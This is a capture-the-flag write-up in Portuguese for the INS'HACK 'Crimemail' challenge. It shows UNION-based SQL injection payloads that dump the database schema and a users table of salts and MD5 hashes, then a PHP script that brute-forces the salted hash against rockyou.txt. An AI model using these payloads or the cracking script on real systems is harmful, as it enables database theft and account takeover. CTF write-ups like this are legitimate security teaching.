INS'HACK - Crimemail Writeup
"service, to communicate with his associates.
Let's see if you can hack your way in his account...
Hint: his password's md5 is computed as followed: md5 = md5($password + $salt)
and Collins Hackle has a password which can be found in an english dictionary"
Entrando no site temos um formulario de login simples, lógico que sempre fazemos alguns testes padrões ao vermos formularios de login...

Fazendo poucos testes aqui conseguimos printar um erro na nossa tela:

Depois do primeiro erro, a coisa mais lógica a se fazer em um SQLi, é tentar dumpar a quantidade de colunas usando o
union






Depois que descobri que só
"havia"
uma coluna, resovi enviar fazer o dump.
' union select concat(table_name,":",column_name) from information_schema.columns#

Olhando o dump, no final conseui achar aquilo que eu precisava:

Com o nome completo da tabela e das colunas, ficou mais facil de conseguir o dump do conteudo.
Usando o seguinte payload, fiz o dump dos conteudos presentes em todas as colunas da tabela
users
.
' union select concat(userID,":",username,":",pass_salt,":",pass_md5) from users#

Ok, temos o conteudo do dump, mas a senhas estão sendo com um hash com salt:

Neste momento, resolvi desenvolver meu proprio script para fazer um brute force:
<?php
$salt = "Kujh";
$salts = ["Jdhy","Kujh","hTjl","YbEr","yhbG"];
if ($file = fopen("rockyou.txt", "r")) {
while(!feof($file)) {
$line = fgets($file);
$line = str_replace("\n","",$line);
for($i=0; $i<count($salts);$i++){
$salt = $salts[$i];
echo "TENTANDO: " . $line." || MD5: ".md5($line.$salt)."\n";
if(md5($line.$salt) == "f2b31b3a7a7c41093321d0c98c37f5ad"){
exit("Find:".$line."");
}
}
$i=0;
}
fclose($file);
}
Depois de alguns instantes, a senha apareceu:
pizza
é a senha do usuario que precisamos :).

Então fiz o login com as credências
c.hackle:pizza
.
